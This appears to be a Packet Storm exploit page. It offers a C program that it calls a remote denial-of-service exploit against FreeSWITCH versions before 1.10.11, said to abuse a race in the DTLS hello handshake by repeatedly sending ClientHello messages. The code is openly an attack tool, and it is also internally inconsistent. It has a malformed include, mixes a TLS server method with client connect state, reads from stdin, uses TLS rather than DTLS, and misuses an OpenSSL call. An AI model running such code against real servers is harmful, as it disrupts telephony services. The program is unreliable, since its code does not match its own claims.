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FreeSWITCH Denial Of Service

FreeSWITCH versions prior to 1.10.11 remote denial of service exploit that leverages a race condition in the hello handshake phase of the DTLS protocol.

Packet Storm
#dos#ssl
#include <stdio.h#include <string.h>#include <unistd.h>#include <openssl/ssl.h>#include <openssl/err.h>#define IP "127.0.0.1"#define PORT 5061int main() {    SSL_library_init();    SSL_load_error_strings();    OpenSSL_add_ssl_algorithms();    const SSL_METHOD *method = TLS_server_method();    SSL_CTX *ctx = SSL_CTX_new(method);    if (!ctx) {        fprintf(stderr, "Unable to create SSL context\n");        ERR_print_errors_fp(stderr);        return 1;    }    SSL *ssl = SSL_new(ctx);    if (!ssl) {        fprintf(stderr, "Unable to create SSL\n");        ERR_print_errors_fp(stderr);        return 1;    }    if (SSL_set_fd(ssl, fileno(stdin)) <= 0) {        fprintf(stderr, "Unable to set SSL file descriptor\n");        ERR_print_errors_fp(stderr);        return 1;    }    if (SSL_set_connect_state(ssl) <= 0) {        fprintf(stderr, "Unable to set SSL connect state\n");        ERR_print_errors_fp(stderr);        return 1;    }    const SSL_CIPHER *cipher = SSL_CIPHER_find("TLS_NULL_WITH_NULL_NULL");    if (!cipher) {        fprintf(stderr, "Unable to find cipher\n");        ERR_print_errors_fp(stderr);        return 1;    }    SSL_set_cipher_list(ssl, "TLS_NULL_WITH_NULL_NULL");    if (SSL_connect(ssl) <= 0) {        fprintf(stderr, "Unable to connect\n");        ERR_print_errors_fp(stderr);        return 1;    }    printf("Connected with cipher %s\n", SSL_CIPHER_get_name(SSL_get_current_cipher(ssl)));    // Send malicious ClientHello messages continuously    while (1) {        if (SSL_connect(ssl) <= 0) {            fprintf(stderr, "Unable to connect\n");            ERR_print_errors_fp(stderr);            return 1;        }        sleep(1);    }    SSL_shutdown(ssl);    SSL_free(ssl);    SSL_CTX_free(ctx);    EVP_cleanup();    return 0;}

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Ubuntu Security Notice USN-7121-3